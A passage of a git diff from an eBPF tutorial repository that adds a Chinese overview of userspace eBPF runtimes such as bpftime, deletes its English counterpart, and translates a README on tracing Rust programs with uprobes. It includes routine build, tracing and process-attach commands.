eBPF 运行时带来了更大的灵活性。与其他解决方案如 Wasm 运行时相比,它们无需手动集成即可提供自动插桩的特性。这意味着开发者可以轻松地将其集成进正在运行的进程中,避免了因重新启动或重新编译带来的操作中断。 + +### 安全性加固 + +在内核空间,eBPF 的执行通常需要 root 访问权限,这可能无意中增加了系统的攻击面,使其容易受到例如容器逃逸或潜在的内核利用等安全威胁。相反,用户空间的实现在这种高风险环境之外运作。它们在用户空间中运行,大大降低了对高权限的依赖,从而减少了潜在的安全风险。 + +### 调试与许可的便利性 + +用户空间 eBPF 的一个显著优点是,它为开发者提供了更加直观的调试环境。相对于内核空间中有限的调试手段,用户空间解释器提供的断点调试功能更为方便。此外,用户空间 eBPF 的许可证更加灵活,通常采用 Apache 或 MIT 这样的开源许可,这意味着它们可以轻松地与各种项目(包括商业项目)相结合,避免了与内核代码相关的 GPL 限制。 + +## 使用案例:现有的 eBPF 用户空间应用 + +用户空间 eBPF 正在项目中使用,每个项目都利用 eBPF 的独特功能来增强它们的功能: + +1. [**Oko:**](https://github.com/Orange-OpenSource/Oko) + + Oko 是 Open vSwitch-DPDK 的扩展,提供了与 BPF 程序的运行时扩展。它允许使用 BPF 程序在用户空间处理数据包,提供灵活的数据包处理,并促进 Open vSwitch 与其他系统的集成。 + +1. [**DPDK eBPF 支持:**](https://doc.dpdk.org/guides/prog_guide/bpf_lib.html) + + DPDK (数据平面开发套件) eBPF 支持通过允许在用户空间使用 eBPF 程序来促进快速的数据包处理,这些程序可以加载并运行以分析网络数据包。这增强了网络应用的灵活性和可编程性,无需修改内核。 + +1. [**Solana:**](https://solana.com/) + + Solana 利用 eBPF 实现一个 JIT (即时)编译器,这对于在其区块链网络上执行智能合约是至关重要的。使用 eBPF 确保了安全性、性能和架构中立性,从而允许在 Solana 区块链上的验证器节点上高效地执行智能合约。 + +1. [**eBPF for Windows (进行中的工作):**](https://github.com/microsoft/ebpf-for-windows) + + 该项目旨在将 Linux 生态系统中熟悉的 eBPF 工具链和 API 带到 Windows,允许在 Windows 之上使用现有的 eBPF 工具链。这展示了将 eBPF 的功能扩展到 Linux 之外的有前景的尝试,尽管它仍然是一个进行中的工作。 + +使用 eBPF 的这些应用的好处包括: + +- **灵活性:** eBPF 提供了一个灵活的框架,用于在内核或用户空间中运行程序,使开发人员能够扩展现有系统的功能,而无需修改其核心代码。 +- **性能:** 通过允许 JIT 编译和高效的数据包处理,eBPF 可以显著提高网络应用和区块链智能合约执行的性能。 +- **安全性和安全性:** eBPF 框架为验证程序执行前的安全属性提供了机制,从而确保了其集成的系统的完整性和安全性。 +- **跨平台能力:** eBPF 指令集的架构中立性使得跨平台兼容性成为可能,如 Solana 项目和进行中的 eBPF for Windows 所示。 + +这些属性使 eBPF 成为增强各种应用的强大工具,从网络处理到区块链智能合约执行,再到更多。还有一些论文讨论了在用户空间中使用 eBPF 的用途: + +1. [**RapidPatch: 用于实时嵌入式设备的固件热修复**](https://www.usenix.org/conference/usenixsecurity22/presentation/he-yi): + + 本文介绍了一个名为 RapidPatch 的新的热修复框架,该框架旨在通过在异构嵌入式设备上安装通用修复程序来促进修复的传播,而不会中断它们上运行的其他任务。此外,RapidPatch 提出了两种类型的 eBPF 补丁,用于不同类型的漏洞,并开发了一个 eBPF 补丁验证器以确保补丁安全。 + +2. [**Femto-Containers: 低功耗 IoT 微控制器上的小型软件功能的轻量级虚拟化和故障隔离**](https://arxiv.org/abs/2210.03432): + + 本文介绍了 Femto-Containers,这是一个新颖的框架,允许在低功耗 IoT 设备上安全地部署、执行和隔离小型虚拟软件功能。该框架在 RIOT 中实现并提供,RIOT 是一个受欢迎的开源 IoT 操作系统,强调在低功耗 IoT 设备上安全地部署、执行和隔离小型虚拟软件功能。该论文讨论了在一个常见的低功耗 IoT 操作系统 (RIOT) 中集成的 Femto-Container 主机引擎的实现,增强了其在标准的 IPv6/6LoWPAN 网络上按需启动、更新或终止 Femto-Containers 的能力。 + +这些论文深入探讨了固件补丁和轻量级虚拟化方面的相关进展,展示了针对实时嵌入式系统和低功耗 IoT 微控制器领域的关键挑战的创新。 + +## 用户空间 eBPF 运行时 vs Wasm 运行时 + +在不断发展的云原生和边缘计算领域中,eBPF (扩展的伯克利数据包过滤器) 和 Wasm (WebAssembly) 都已成为强大的工具。但它们都有自己的设计原则和权衡取舍。 + +## eBPF 在用户空间运行时 vs Wasm 运行时:云原生计算的新纪元 + +在飞速进展的云原生与边缘计算生态中,eBPF (扩展的伯克利数据包过滤器) 和 Wasm (WebAssembly) 被广泛认为是两大技术巨头。这两者虽然都非常强大,但各有其独特的设计哲学与优缺点。 + +### eBPF 与 Wasm 之间的技术差异 + +**eBPF**: + +- **核心理念**:eBPF 是为了满足高性能要求而设计的,特别是针对实时内核交互和高吞吐量的网络任务。 +- **安全性**:尽管eBPF的主要焦点是性能,但其验证器机制确保了执行的程序在不引发内核恐慌或无限循环的前提下的安全性。 + +**Wasm**: + +- **核心理念**:Wasm 诞生于网络环境,其设计重点在于可移植性和执行安全性,旨在实现接近本地机器代码的执行速度。 +- **安全性**:Wasm 的安全策略主要基于软件故障隔离 (SFI)。沙盒执行确保了代码的安全性,但这可能会带来某些运行时的额外开销。 + +这两种技术都依赖于底层的库来执行复杂任务,如 Wasm 所依赖的 `Wasi-nn` 来进行神经网络处理。与这些外部API 交互时,特别是在 Wasm 的环境下,需要进行更多的验证和运行时检查,这可能导致额外的性能损耗。而eBPF则提供了一个更为性能中心化的策略,其验证器确保了代码在主机上的安全执行,而不需要运行时的额外开销。 + +在语言支持上,由于 eBPF 的专业特性,其语言选择较为有限,通常是 C 和 Rust。而Wasm则支持更多的编程语言,包括但不限于 C、C++、Rust、Go、Python、Java和C#。这使得Wasm在跨平台部署上有更大的灵活性,但也可能因为不恰当的语言选择引入更多的性能开销。 + +为了给大家提供一个直观的对比,我们在 [https://github.com/eunomia-bpf/bpf-benchmark](https://github.com/eunomia-bpf/bpf-benchmark)中展示了eBPF和Wasm运行时的性能比较。 + +从更宏观的角度看,eBPF运行时和Wasm实际上可以被视为是相互补充的。尽管 eBPF 拥有出色的验证器机制来确保运行时安全性,但由于其编程语言的局限性和相对较高的开发难度,它并不总是适合作为业务逻辑的首选运行时。反之,eBPF 更适用于像网络流量转发、可观测性和 livepatch 这样的高专业性任务。相对而言,Wasm 运行时可以作为 Serverless 的运行时平台、插件系统和轻量级虚拟化等场景的首选。这两者都有自己的优势,但它们的选择取决于特定的用例和优先级。 + +## bpftime 快速入门 + +使用`bpftime`,您可以使用熟悉的工具(如clang和libbpf)构建eBPF应用程序,并在用户空间中执行它们。例如,`malloc` eBPF程序使用uprobe跟踪malloc调用,并使用哈希映射对其进行统计。 + +您可以参考[documents/build-and-test.md](https://eunomia.dev/bpftime/documents/build-and-test)上的构建项目的方法,或者使用来自[GitHub packages](https://github.com/eunomia-bpf/bpftime/pkgs/container/bpftime)的容器映像。 + +要开始,请构建并运行一个基于libbpf的eBPF程序,使用以下命令行: + +```console +make -C example/malloc # 构建示例的eBPF程序 +bpftime load ./example/malloc/malloc +``` + +在另一个shell中,运行带有eBPF的目标程序: + +```console +$ bpftime start ./example/malloc/victim +Hello malloc! +malloc called from pid 250215 +continue malloc... +malloc called from pid 250215 +``` + +您还可以动态地将eBPF程序附加到正在运行的进程上: + +```console +$ ./example/malloc/victim & echo $! # 进程ID为101771 +[1] 101771 +101771 +continue malloc... +continue malloc... +``` + +然后附加到该进程: + +```console +$ sudo bpftime attach 101771 # 您可能需要以root身份运行make install +Inject: "/root/.bpftime/libbpftime-agent.so" +成功注入。ID: 1 +``` + +您可以看到原始程序的输出: + +```console +$ bpftime load ./example/malloc/malloc +... +12:44:35 + pid=247299 malloc calls: 10 + pid=247322 malloc calls: 10 +``` + +或者,您也可以直接在内核eBPF中运行我们的示例eBPF程序,以查看类似的输出: + +```console +$ sudo example/malloc/malloc +15:38:05 + pid=30415 malloc calls: 1079 + pid=30393 malloc calls: 203 + pid=29882 malloc calls: 1076 + pid=34809 malloc calls: 8 +``` + +有关更多详细信息,请参阅[documents/usage.md](https://eunomia.dev/bpftime/documents/usage)。 + +## 总结与前景 + +用户空间的eBPF运行时正在打破边界,将eBPF的能力从内核扩展到了更广阔的领域。这种扩展带来了显著的性能、灵活性和安全性提升。例如,`bpftime`运行时显示了其在某些低级性能场景下,甚至超越了像 Wasm 这样的其他技术。也有越来越多的应用将用户空间的 eBPF 用于快速补丁、轻量级虚拟化、网络过滤等场景。 + +Wasm 的主要焦点在于可移植性、轻量级虚拟化、安全性、多语言等等,而 eBPF 则针对那些对性能有严格要求的基础设施任务提供了更多的性能优势和动态插桩特性。选择哪种技术取决于特定的需求和优先级。随着它们的进一步发展,用户空间的eBPF运行时正在成为云原生技术堆栈中的重要部分,为业界带来前所未有的安全、效率和创新的组合。 + +> 我们诚邀您深入探索用户空间eBPF的世界,您可以从我们的项目 [https://github.com/eunomia-bpf/bpftime](https://github.com/eunomia-bpf/bpftime) 开始。您的贡献、反馈或仅仅是对此工具的使用和 star,都可以为我们的社区带来巨大价值。 +> +> 若您在研究中采用了我们的`bpftime`项目,请[引用我们的仓库](https://github.com/eunomia-bpf/bpftime/blob/master/CITATION.cff)。我们期待您的宝贵意见和反馈,您可以通过 GitHub 仓库的 issue、邮箱 [yunwei356@gmail.com](mailto:yunwei356@gmail.com) 或微信 yunwei2567 与我们联系。 + +## 参考资料 + +1. bpftime: +2. ubpf: +3. rbpf: +4. Oko: +5. RapidPatch: Firmware Hotpatching for Real-Time Embedded Devices: +6. DPDK eBPF Support: +7. Solana: +8. eBPF for Windows (Work-In-Progress): +9. Femto-Containers: Lightweight Virtualization and Fault Isolation For Small Software Functions on Low-Power IoT Microcontrollers: diff --git a/src/36-userspace-ebpf/README_en.md b/src/36-userspace-ebpf/README_en.md deleted file mode 100644 index 1d5203ac..00000000 --- a/src/36-userspace-ebpf/README_en.md +++ /dev/null @@ -1,218 +0,0 @@ -# Userspace eBPF Runtimes: Overview and Applications - -Yusheng Zheng - -In this blog post, we'll dive into the world of eBPF in userspace. While many are familiar with kernel-based eBPF, userspace eBPF runtimes have been making significant strides and offer compelling use cases. We will also compare userspace eBPF runtimes with Wasm runtimes, another popular technology in the cloud-native and edge computing landscape. Among these, we're excited to introduce [bpftime](https://github.com/eunomia-bpf/bpftime). Powered by an LLVM `JIT/AOT` backend, our benchmarks suggest that bpftime stands out as one of the fastest userspace eBPF runtimes available. - -## Introduction to eBPF - -### What is eBPF? - -eBPF, which stands for "extended Berkeley Packet Filter," is a revolutionary technology that facilitates the dynamic tracing and monitoring of kernel operations without modifying kernel source code or rebooting the system. Originally designed for network packet filtering, eBPF has evolved to support a wide range of applications, from performance analysis to security, making it a versatile tool in a system administrator's arsenal. - -The story of eBPF begins with the Berkeley Packet Filter (BPF), introduced in the early 1990s as a way to filter and capture network packets efficiently. Over the years, BPF proved to be an invaluable asset, but there was room for improvement. eBPF emerged as an advanced iteration of BPF, equipped with a richer instruction set and the capability to interact with kernel data structures directly. - -The Linux kernel adopted eBPF around 2014, and since then, its popularity and adoption have skyrocketed. Key contributors to the Linux kernel worked diligently to evolve eBPF from a simple packet filter to a generic and powerful bytecode engine. - -### Its significance in modern computing and network solutions - -In today's complex computing environments, the need for real-time data and insights is paramount. eBPF shines in this regard, allowing developers and administrators to introspect and modify system behaviors on the fly. - -Given its dynamic nature, eBPF has become a cornerstone of modern networking solutions. It enables fine-grained traffic control, load balancing, and security enforcement at the kernel level, ensuring optimal performance and security. Furthermore, in the realm of observability, eBPF provides granular insights into system calls, hardware events, and more, facilitating proactive problem detection and resolution. - -### eBPF: from kernel runtime to userspace runtime - -While the initial design of eBPF was deeply embedded within the kernel, the demand for similar functionality in userspace applications led to the evolution of userspace eBPF runtimes. These runtimes allow developers to leverage eBPF's capabilities outside the kernel, expanding its utility and applicability. Userspace eBPF runtimes make it feasible to apply eBPF's prowess to a broader set of applications, from custom network protocols to novel security solutions, further cementing eBPF's role as a transformative technology in the computing landscape. - -## Userspace eBPF Runtimes and Their Role - -### What is a userspace eBPF runtime? - -A userspace eBPF runtime provides a platform outside of the kernel to run eBPF programs. While one of eBPF's standout attributes is its capability to execute code within the kernel space, offering rapid observability and data aggregation, there are scenarios where having a userspace alternative becomes valuable. These userspace runtimes extend the reach of eBPF's versatility to areas beyond kernel integrations and often serve as experimental grounds, debugging tools, or frameworks for specific use cases. - -### Introduction to specific runtimes - -#### **ubpf** - -[uBPF](https://github.com/iovisor/ubpf) was among the early attempts to bring eBPF to the userspace. Conceived primarily as a proof-of-concept, it served as a user-space interpretation of an eBPF interpreter combined with an x86_64 and arm64 JIT. Despite its origins as an early prototype, uBPF garnered attention and was utilized as a foundation for high-performance networking projects such as DPDK and Oko. Its non-GPL licensing (Apache) makes it favorable for a wide range of projects, inclusive of proprietary ones. However, as of recent, uBPF is catching up with kernel developments, particularly with contributions from Microsoft for its eBPF Windows implementation. However, develop ubpf and rbpf programs may require a specific toolchain, which may be a barrier for some users. ubpf only have a limited hashmap implementation, which may not be enough for some users. - -#### **rbpf** - -[rbpf](https://github.com/qmonnet/rbpf) is heavily influenced by uBPF but with an emphasis on Rust, a language renowned for its memory safety guarantees. The creation of rbpf was driven by a desire to explore the intersections of eBPF and Rust. While not as widespread in adoption, notable users of rbpf include the Solana team, employing it for blockchain tools with eBPF-driven smart contracts. One of rbpf's advantages lies in its licensing (MIT), allowing for broad reuse across various projects. rbpf also lacks eBPF map support, and only has JIT support for x86_64. - -#### **bpftime** - -Built atop LLVM JIT/AOT, [bpftime](https://github.com/eunomia-bpf/bpftime) is a cutting-edge, high-performance eBPF runtime designed exclusively for userspace operations. It stands out with its rapid Uprobe capabilities and Syscall hooks, notably outperforming the kernel Uprobe by a tenfold margin. Additionally, bpftime offers programmatic syscall hooking, shared memory maps, and compatibility with familiar toolchains like libbpf and clang. Its design addresses some kernel eBPF limitations and outpaces plugin systems like the Wasm runtime in certain aspects. - -## Why is Having a Userspace Version of eBPF Interesting? - -eBPF, while renowned for its kernel-space operations, has observed a growing interest in its userspace adaptations. Here's why migrating eBPF to userspace is capturing the attention of technologists: - -### Enhanced Performance - -In kernel operations, the Uprobe component of eBPF is often beleaguered by performance inefficiencies, primarily due to the overheads introduced by context switches. In latency-sensitive applications, these inefficiencies can be detrimental, affecting real-time monitoring and data processing. By transitioning to userspace, eBPF can bypass these context switch related delays, leading to a more optimized performance. Runtimes like `bpftime` exemplify this, offering substantial performance improvements compared to their kernel counterparts. - -### Flexibility and Integration - -Userspace eBPF runtimes champion flexibility. Unlike some alternatives, such as the Wasm runtime, which might necessitate manual integrations, userspace eBPF provides the boon of automatic instrumentation. This means they can be seamlessly introduced into running processes without the need for cumbersome restarts or recompilations, ensuring smoother operational flows. - -### Augmented Security - -Operating in kernel mode, eBPF programs require root access, which can inadvertently expand the attack surface, making systems susceptible to vulnerabilities like container escapes or even potential kernel exploits. Userspace runtimes, however, operate outside this high-risk zone. By functioning in userspace, they demand fewer privileges, inherently reducing the potential avenues for security breaches. - -### Debugging and Licensing Flexibility - -One of the innate advantages of userspace eBPF runtimes is the ease with which developers can debug their code. The accessibility to integrate breakpoints in a userspace interpreter is a marked advantage over the relatively constrained debugging capabilities in kernel eBPF. Additionally, the licensing flexibility of userspace eBPF runtimes, typically offered under licenses like Apache or MIT, ensures they can be paired with a diverse range of projects, including proprietary ones, sidestepping the GPL constraints associated with kernel code. - -## Use Cases: Existing eBPF Userspace Applications - -Userspace eBPF is being utilized in a number of notable projects, each harnessing the unique capabilities of eBPF to enhance their functionalities. Here's how Userspace eBPF is currently utilized in various applications: - -1. [**Oko:**](https://github.com/Orange-OpenSource/Oko) - - Oko is an extension of Open vSwitch-DPDK that provides runtime extension with BPF programs. It enables the use of BPF programs to process packets in userspace, providing flexible packet processing and facilitating the integration of Open vSwitch with other systems. - -1. [**DPDK eBPF Support:**](https://www.dpdk.org/wp-content/uploads/sites/35/2018/10/pm-07-DPDK-BPFu6.pdf) - - The DPDK (Data Plane Development Kit) eBPF support facilitates fast packet processing by enabling the use of eBPF programs in userspace, which can be loaded and run to analyze network packets. This enhances the flexibility and programmability of network applications without requiring kernel modifications. - -1. [**Solana:**](https://solana.com/) - - Solana utilizes eBPF to implement a JIT (Just-In-Time) compiler, which is essential for executing smart contracts on its blockchain network. The use of eBPF ensures safety, performance, and architecture agnosticism, thus allowing efficient execution of smart contracts across validator nodes on the Solana blockchain. - -1. [**eBPF for Windows (Work-In-Progress):**](https://github.com/microsoft/ebpf-for-windows) - - This project is aimed at bringing the eBPF toolchains and APIs familiar in the Linux ecosystem to Windows, allowing existing eBPF toolchains to be utilized on top of Windows. This demonstrates a promising endeavor to extend the capabilities of eBPF beyond Linux, although it's still a work in progress. - -The benefits of using eBPF in these applications include: - -- **Flexibility:** eBPF provides a flexible framework for running programs in the kernel or userspace, enabling developers to extend the functionality of existing systems without modifying their core code. -- **Performance:** By allowing JIT compilation and efficient packet processing, eBPF can significantly enhance the performance of network applications and blockchain smart contract execution. -- **Safety and Security:** The eBPF framework provides mechanisms for verifying the safety properties of programs before execution, thus ensuring the integrity and security of the systems it is integrated with. -- **Cross-platform Capability:** The architecture-agnostic nature of eBPF instruction set enables cross-platform compatibility, as seen in projects like Solana and the work-in-progress eBPF for Windows. - -These attributes make eBPF a powerful tool for augmenting a variety of applications, ranging from network processing to blockchain smart contract execution, and beyond. There are also some papers that discuss the use of eBPF in userspace: - -1. [**RapidPatch: Firmware Hotpatching for Real-Time Embedded Devices**](https://www.usenix.org/conference/usenixsecurity22/presentation/he-yi): - - This paper introduces a new hotpatching framework named RapidPatch, which is designed to facilitate the propagation of patches by installing generic patches on heterogeneous embedded devices without disrupting other tasks running on them. - - Furthermore, RapidPatch proposes two types of eBPF patches for different types of vulnerabilities and develops an eBPF patch verifier to ensure patch safety. - -1. [**Femto-Containers: Lightweight Virtualization and Fault Isolation For Small Software Functions on Low-Power IoT Microcontrollers**](https://arxiv.org/abs/2210.03432): - - This paper presents Femto-Containers, a novel framework that enables the secure deployment, execution, and isolation of small virtual software functions on low-power IoT devices over a network. - - The framework is implemented and provided in RIOT, a popular open source IoT operating system, with an emphasis on secure deployment, execution, and isolation of small virtual software functions on low-power IoT devices, over the network. - - The paper discusses the implementation of a Femto-Container hosting engine integrated within a common low-power IoT operating system (RIOT), enhancing it with the ability to start, update, or terminate Femto-Containers on demand, securely over a standard IPv6/6LoWPAN network. - -These papers delve into pertinent advancements concerning firmware patching and lightweight virtualization, demonstrating innovations that address critical challenges in the domains of real-time embedded systems and low-power IoT microcontrollers respectively. - -## Userspace eBPF Runtime vs Wasm Runtime - -In the evolving landscape of cloud-native and edge computing, both eBPF (extended Berkeley Packet Filter) and Wasm (WebAssembly) have emerged as powerful tools. However, they come with their own set of design principles and trade-offs. - -### A Comparison of eBPF and Wasm - -**eBPF**: - -- **Philosophy**: eBPF prioritizes performance, often making it the choice for real-time kernel operations and high-throughput networking tasks. -- **Security**: While performance takes the forefront, security in eBPF is ensured through the use of a verifier, ensuring that all programs are safe to run without causing kernel panics or infinite loops. - -**Wasm**: - -- **Philosophy**: Originally designed for the web, Wasm places a higher emphasis on portability and security. It was conceived to execute code nearly as fast as running native machine code and ensures safety in hostile environments like web browsers. -- **Security**: The primary security model for Wasm revolves around Software Fault Isolation (SFI). This model guarantees safe execution by enforcing sandboxing, even though this can introduce some runtime overheads. - -For both technologies, reliance on underlying libraries for complex operations is paramount. For instance, Wasm leans on libraries like `Wasi-nn` for neural network operations. However, when interfacing with such external APIs, especially in Wasm's context, there's a need for additional validation and runtime checks, sometimes leading to substantial performance costs. eBPF, when embedded within the host, capitalizes on its verifier to ensure code safety, offering a more performance-centric approach. - -On the language support front, while eBPF's niche and specialized nature mean limited language support, Wasm boasts a broader language portfolio due to its origin and design for the web. - -## bpftime Quick Start - -With `bpftime`, you can build eBPF applications using familiar tools like clang and libbpf, and execute them in userspace. For instance, the `malloc` eBPF program traces malloc calls using uprobe and aggregates the counts using a hash map. - -You can refer to [documents/build-and-test.md](https://eunomia.dev/bpftime/documents/build-and-test) for how to build the project, or using the container images from [GitHub packages](https://github.com/eunomia-bpf/bpftime/pkgs/container/bpftime). - -To get started, you can build and run a libbpf based eBPF program starts with `bpftime` cli: - -```console -make -C example/malloc # Build the eBPF program example -bpftime load ./example/malloc/malloc -``` - -In another shell, Run the target program with eBPF inside: - -```console -$ bpftime start ./example/malloc/victim -Hello malloc! -malloc called from pid 250215 -continue malloc... -malloc called from pid 250215 -``` - -You can also dynamically attach the eBPF program with a running process: - -```console -$ ./example/malloc/victim & echo $! # The pid is 101771 -[1] 101771 -101771 -continue malloc... -continue malloc... -``` - -And attach to it: - -```console -$ sudo bpftime attach 101771 # You may need to run make install in root -Inject: "/root/.bpftime/libbpftime-agent.so" -Successfully injected. ID: 1 -``` - -You can see the output from original program: - -```console -$ bpftime load ./example/malloc/malloc -... -12:44:35 - pid=247299 malloc calls: 10 - pid=247322 malloc calls: 10 -``` - -Alternatively, you can also run our sample eBPF program directly in the kernel eBPF, to see the similar output: - -```console -$ sudo example/malloc/malloc -15:38:05 - pid=30415 malloc calls: 1079 - pid=30393 malloc calls: 203 - pid=29882 malloc calls: 1076 - pid=34809 malloc calls: 8 -``` - -See [documents/usage.md](https://eunomia.dev/bpftime/documents/usage) for more details. - -## Conclusion - -Userspace eBPF runtimes are an exciting development that expands the capabilities of eBPF beyond the kernel. As highlighted in this post, they offer compelling benefits like enhanced performance, flexibility, and security compared to kernel-based eBPF. Runtimes like bpftime demonstrate the potential for substantial speedups, even outperforming alternatives like Wasm runtimes in certain dimensions like low-level performance. - -With innovative frameworks like RapidPatch and Femto-Containers utilizing userspace eBPF for patching and lightweight virtualization respectively, we are witnessing pioneering use cases that address critical challenges in embedded systems and IoT domains. As eBPF continues its evolution in userspace, we can expect even more creative applications that augment everything from smart contracts to network protocols. - -While alternatives like Wasm certainly have their place with a strong emphasis on web portability and security, eBPF's specialized nature gives it an edge for performance-critical tasks. Ultimately, the choice between the two depends on the specific use case and priorities. As they continue to evolve, userspace eBPF runtimes are cementing their position as an indispensable part of the cloud-native technology stack, offering an unparalleled combination of safety, efficiency and innovation. - -> We encourage our readers to dive deep into the world of userspace eBPF, starting with our bpftime GitHub repository: Contributions, feedback, or simply using the tool can further the cause and provide invaluable insights to the community. -> -> If you use our project in research, please [cite our repo](https://github.com/eunomia-bpf/bpftime/blob/master/CITATION.cff). - -## reference - -1. bpftime: -2. ubpf: -3. rbpf: -4. Oko: -5. RapidPatch: Firmware Hotpatching for Real-Time Embedded Devices: -6. DPDK eBPF Support: -7. Solana: -8. eBPF for Windows (Work-In-Progress): -9. Femto-Containers: Lightweight Virtualization and Fault Isolation For Small Software Functions on Low-Power IoT Microcontrollers: diff --git a/src/37-uprobe-rust/.config b/src/37-uprobe-rust/.config new file mode 100644 index 00000000..d50f199a --- /dev/null +++ b/src/37-uprobe-rust/.config @@ -0,0 +1,2 @@ +level=Depth +type=Tracing diff --git a/src/37-uprobe-rust/README.md b/src/37-uprobe-rust/README.md index 191c3d7c..0c718bc8 100644 --- a/src/37-uprobe-rust/README.md +++ b/src/37-uprobe-rust/README.md @@ -1,30 +1,32 @@ -# eBPF 实践:使用 Uprobe 追踪用户态 Rust 应用 +# eBPF Practice: Tracing User Space Rust Applications with Uprobe -eBPF,即扩展的Berkeley包过滤器(Extended Berkeley Packet Filter),是Linux内核中的一种革命性技术,它允许开发者在内核态中运行自定义的“微程序”,从而在不修改内核代码的情况下改变系统行为或收集系统细粒度的性能数据。 +eBPF, or Extended Berkeley Packet Filter, is a revolutionary technology in the Linux kernel that allows developers to run custom "micro-programs" in kernel mode, thus changing system behavior or collecting granular performance data without modifying the kernel code. -本文讨论如何使用 Uprobe 和 eBPF 追踪用户态 Rust 应用,包括如何获取符号名称并 attach、获取函数参数、获取返回值等。本文是 eBPF 开发者教程的一部分,更详细的内容可以在这里找到: 源代码在 [GitHub 仓库](https://github.com/eunomia-bpf/bpf-developer-tutorial) 中开源。 +This article discusses how to trace user space Rust applications with Uprobe and eBPF, including how to obtain symbol names and attach them, get function parameters, get return values, etc. This article is part of the eBPF developer tutorial, more detailed content can be found here: + +> The complete source code: ## Uprobe -Uprobe是一种用户空间探针,uprobe探针允许在用户空间程序中动态插桩,插桩位置包括:函数入口、特定偏移处,以及函数返回处。当我们定义uprobe时,内核会在附加的指令上创建快速断点指令(x86机器上为int3指令),当程序执行到该指令时,内核将触发事件,程序陷入到内核态,并以回调函数的方式调用探针函数,执行完探针函数再返回到用户态继续执行后序的指令。 +Uprobe is a user space probe. Uprobe probes allow dynamic instrumentation in user space programs, with instrumentation locations including: function entry points, specific offsets, and function return points. When we define a Uprobe, the kernel creates a fast breakpoint instruction (the int3 instruction on x86 machines) at the attached instruction. When the program executes this instruction, the kernel triggers an event, the program falls into kernel mode, and the probe function is called in a callback manner. After the probe function is executed, it returns to user mode to continue executing subsequent instructions. -uprobe 适用于在用户态去解析一些内核态探针无法解析的流量,例如 http2 流量,https 流量,同时也可以分析程序运行时、业务逻辑等。关于 Uprobe 的更多信息,可以参考: +Uprobe is useful for parsing traffic in user space that cannot be parsed by kernel probes, such as http2 traffic, https traffic, and can also analyze runtime program, business logic, etc. For more information about Uprobe, you can refer to: -- [eBPF 实践教程:使用 uprobe 捕获多种库的 SSL/TLS 明文数据](../30-sslsniff/README.md) -- [eBPF 实践教程:使用 uprobe 捕获 Golang 的协程切换](../31-goroutine/README.md) -- [eBPF 实践教程:使用 uprobe 捕获用户态 http2 流量](../32-http2/README.md) +- [eBPF practice tutorial: Use Uprobe to capture plaintext SSL/TLS data from various libraries](../30-sslsniff/README.md) +- [eBPF practice tutorial: Use Uprobe to capture Golang coroutine switching](../31-goroutine/README.md) +- [eBPF practice tutorial: Use Uprobe to capture user space http2 traffic](../32-http2/README.md) -Uprobe 在内核态 eBPF 运行时,也可能产生比较大的性能开销,这时候也可以考虑使用用户态 eBPF 运行时,例如 [bpftime](https://github.com/eunomia-bpf/bpftime)。bpftime 是一个基于 LLVM JIT/AOT 的用户态 eBPF 运行时,它可以在用户态运行 eBPF Uprobe 程序,和内核态的 eBPF 兼容,由于避免了内核态和用户态之间的上下文切换,bpftime 的 Uprobe 开销比内核少约 10 倍,并且也更容易扩展。 +Running Uprobe in kernel mode eBPF might also produce significant performance overhead, in which case you might consider using user space eBPF runtime, such as [bpftime](https://github.com/eunomia-bpf/bpftime). bpftime is a user-space eBPF runtime based on LLVM JIT/AOT. It can run eBPF Uprobe programs in user mode and is compatible with kernel mode eBPF. Because it avoids context switching between user and kernel modes, bpftime's Uprobe overheads are about 10 times less than the kernel's, and it also more easy to extend. ## Rust -Rust 是一种开源的系统编程语言,注重安全、速度和并行性。它于2010年由Graydon Hoare在Mozilla研究中心开发,并于2015年发布了第一个稳定版本。Rust 语言的设计哲学旨在提供C++的性能优势,同时大幅减少内存安全漏洞。Rust在系统编程领域逐渐受到欢迎,特别是在需要高性能、安全性和可靠性的应用场景,例如操作系统、文件系统、游戏引擎、网络服务等领域。许多大型技术公司,包括Mozilla、Google、Microsoft和Amazon等,都在使用或支持Rust语言。 +Rust is an open-source systems programming language that focuses on safety, speed, and concurrency. It was developed by Graydon Hoare at the Mozilla Research Center in 2010 and released its first stable version in 2015. The design philosophy of Rust language is to provide the performance advantages of C++ while greatly reducing memory safety vulnerabilities. Rust is gradually popular in the field of systems programming, especially in applications that require high performance, security, and reliability, such as operating systems, file systems, game engines, network services, etc. Many large technology companies, including Mozilla, Google, Microsoft, and Amazon, are using or supporting the Rust language. -可以参考 [Rust 官方网站](https://www.rust-lang.org/) 了解更多 Rust 语言的信息,并安装 Rust 的工具链。 +You can refer to the [official Rust website](https://www.rust-lang.org/) for more information about Rust language and install the Rust toolchain. -## 最简单的例子:Symbol name mangling +## Simplest example: Symbol name mangling -我们先来看一个简单的例子,使用 Uprobe 追踪 Rust 程序的 `main` 函数,代码如下: +Let's start with a simple example, tracing the `main` function of a Rust program with Uprobe, with the code as follows: ```rust pub fn hello() -> i32 { @@ -37,7 +39,7 @@ fn main() { } ``` -构建和尝试获取符号: +Build and try to get the symbol: ```console $ cd helloworld @@ -46,9 +48,9 @@ $ nm helloworld/target/release/helloworld | grep hello 0000000000008940 t _ZN10helloworld4main17h2dce92cb81426b91E ``` -我们会发现,对应的符号被转换为了 `_ZN10helloworld4main17h2dce92cb81426b91E`,这是因为 rustc 使用 [Symbol name mangling](https://en.wikipedia.org/wiki/Name_mangling) 来为代码生成过程中使用的符号编码一个唯一的名称。编码后的名称会被链接器用于将名称与所指向的内容关联起来。可以使用 -C symbol-mangling-version 选项来控制符号名称的处理方法。 +We find that the corresponding symbol has been converted to `_ZN10helloworld4main17h2dce92cb81426b91E`. This is because rustc uses [Symbol name mangling](https://en.wikipedia.org/wiki/Name_mangling) to encode a unique name for the symbols used in the code generation process. The encoded name will be used by the linker to associate the name with the content it points to. The -C symbol-mangling-version option can be used to control the handling of symbol names. -我们可以使用 [`rustfilt`](https://crates.io/crates/rustfilt) 工具来解析和获取对应的符号: +We can use the [`rustfilt`](https://github.com/luser/rustfilt) tool to parse and obtain the corresponding symbol. This tool can be installed with `cargo install rustfilt`: ```console $ cargo install rustfilt @@ -59,7 +61,7 @@ $ rustfilt -i name.txt | grep hello 0000000000008b60 t helloworld::main ``` -接下来我们可以尝试使用 bpftrace 跟踪对应的函数: +Next we can try to use bpftrace to trace the corresponding function: ```console $ sudo bpftrace -e 'uprobe:helloworld/target/release/helloworld:_ZN10helloworld4main17h2dce92cb81426b91E { printf("Function hello-world called\n"); }' @@ -67,9 +69,9 @@ Attaching 1 probe... Function hello-world called ``` -## 一个奇怪的现象:多次调用、获取参数 +## A strange 